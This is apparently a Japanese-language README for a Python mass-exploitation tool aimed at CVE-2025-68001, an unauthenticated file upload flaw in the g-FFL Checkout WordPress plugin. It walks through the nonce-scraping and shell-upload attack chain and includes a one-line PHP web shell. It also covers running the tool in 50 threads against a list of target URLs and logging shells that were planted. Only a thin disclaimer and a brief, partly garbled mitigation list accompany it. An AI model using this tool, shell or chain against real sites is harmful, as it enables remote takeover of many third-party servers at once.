
WordPress g-FFL Checkout プラグイン <= 2.1.0 は、優先度の高い任意のファイルアップロードの脆弱性の影響を受けます。
WordPress g-FFL Checkoutプラグイン <= 2.1.0 には、深刻度の高い任意ファイルアップロードの脆弱性があります。
_ _ _ _ _ _ _ _ _ _
/ \ / |_ __ ) / \ ) |_ __ |_ (_) / \ / \ /|
\_ \/ |_ /_ \_/ /_ _) |_) (_) \_/ \_/ |
📡 時代の先を行こう。 Telegram で @KNxploited に参加 — 最新のCVE、ゼロデイ、最先端のエクスプロイト研究を提供する、あなただけの情報源です。常に更新されています。万人向けではありません。
CVE-2025-68001 は、garidium が開発した g-FFL Checkout WordPress プラグインで発見された、重大な 未認証の任意ファイルアップロード の脆弱性です。
この脆弱性により、認証されていないリモート攻撃者が ffl_upload_document AJAXアクションを介して、Webシェルを含む任意のファイルをターゲットサーバーにアップロードでき、完全なリモートコード実行(RCE) につながります。
エクスプロイトは、正確な多段階の攻撃チェーンに従います:
1. GET /checkout
↓
Extract `checkout_nonce` from inline JavaScript data
2. POST /wp-admin/admin-ajax.php
action=ffl_upload_document
nonce=<extracted_nonce>
document_type=document
document=<shell.php disguised as image/png>
↓
Server stores the file without extension or MIME validation
3. Parse JSON response
↓
Extract uploaded file path / unique filename
4. Access uploaded shell via HTTP
↓
Remote Code Execution achieved ✔️
プラグインは、以下の特徴を持つAJAXエンドポイント ffl_upload_document を公開しています:
実行前にすべての依存関係をインストールしてください:
pip install requests rich
| 依存関係 | 用途 |
|---|---|
requests | HTTPリクエストとセッション処理 |
rich | ターミナルUI、プログレスバー、パネル |
threading | マルチスレッドによるターゲット処理 |
Python 3.8+ が必要です。
CVE-2025-68001/
├── CVE-2025-68001.py # Main exploit script
├── shell.php # Web shell to upload (you provide this)
├── list.txt # Target URLs (one per line)
└── success_results.txt # Auto-generated results output
list.txt ファイルを作成し、各行にターゲットURLを1つ記述します:
https://target1.com
https://target2.com
http://target3.com/wordpress
スキームが指定されていない場合、スクリプトは自動的に
http://を先頭に付加します。
PHP Webシェルを同じディレクトリに配置します。最小限のシェルの例:
<?php system($_GET['cmd']); ?>
shell.php という名前で保存します(名前は任意 — 実行時に入力を求められます)。
python CVE-2025-68001.py
対話式のプロンプトが表示されます:
Enter targets file name (default: list.txt):
> list.txt
Enter shell file name to upload (default: shell.php):
> shell.php
Enter number of threads (default: 50):
> 20
成功したエクスプロイトは自動的に success_results.txt に保存されます:
https://target.com | /wp-content/uploads/ffl/abc123.php | abc123.php | shell.php
各行には以下が含まれます:
| プロンプト | デフォルト | 説明 |
|---|---|---|
| ターゲットファイル | list.txt | ターゲットURLを含むファイル |
| シェルファイル |
✔ https://victim.com — /checkout reachable. Trying exploit...
┌─────────────────────────────────────────────────────┐
│ Success │
│ https://victim.com │
│ Original Name: shell.php │
│ Unique Name: a7f3c1d9e.php │
│ Stored Path: /wp-content/uploads/ffl/a7f3c1.php │
└─────────────────────────────────────────────────────┘
All targets processed ✔️. Results saved to: success_results.txt
この脆弱性は、権限チェックなしで登録されたプラグインのAJAXハンドラに存在します:
// No authentication or capability check
add_action('wp_ajax_nopriv_ffl_upload_document', 'ffl_upload_document');
function ffl_upload_document() {
// Nonce verified from /checkout page (publicly accessible)
// No MIME type validation
// No extension whitelist/blacklist
move_uploaded_file($_FILES['document']['tmp_name'], $upload_path);
wp_send_json_success(['file_path' => $upload_path]);
}
サイト運営者または開発者の方は、直ちに以下の対策を講じてください:
g-ffl-checkout プラグインを更新する.htaccess ルール).php ファイルがないか監視するTHIS TOOL IS PROVIDED STRICTLY FOR EDUCATIONAL AND AUTHORIZED
SECURITY RESEARCH PURPOSES ONLY.
By using this script, you explicitly agree to the following:
• You have EXPLICIT written permission from the target system owner.
• You are operating in a controlled lab or authorized penetration testing engagement.
• You will NOT use this tool against any system you do not own or have legal
authorization to test.
• The author (Nxploited) holds ZERO liability for any damage, data loss,
legal consequences, or misuse resulting from this tool.
Unauthorized use of this tool against systems without permission is ILLEGAL
and may violate laws including but not limited to:
— Computer Fraud and Abuse Act (CFAA)
— EU Directive on Attacks Against Information Systems
— And equivalent laws in your jurisdiction.
USE RESPONSIBLY. HACK ETHICALLY.
| ハンドル | Nxploited |
| Telegram | @KNxploited |
| GitHub | github.com/Nxploited |
🔔 Telegram で @KNxploited をフォロー して、最新の脆弱性開示、エクスプロイトリリース、 セキュリティ研究を誰よりも早く受け取りましょう。
| フィールド | 詳細 |
|---|
| CVE ID | CVE-2025-68001 |
| プラグイン | g-FFL Checkout (g-ffl-checkout) |
| 影響を受けるバージョン | n/a から <= 2.1.0 |
| 脆弱性の種類 | 無制限ファイルアップロード |
| 影響 | リモートコード実行(RCE) |
| 認証 | 不要 |
| CVSS深刻度 | 重大 |
| 研究者 | Nxploited |
shell.php| ターゲットにアップロードするPHPシェル |
| スレッド数 | 50 | 同時実行ワーカー数(最大: 50) |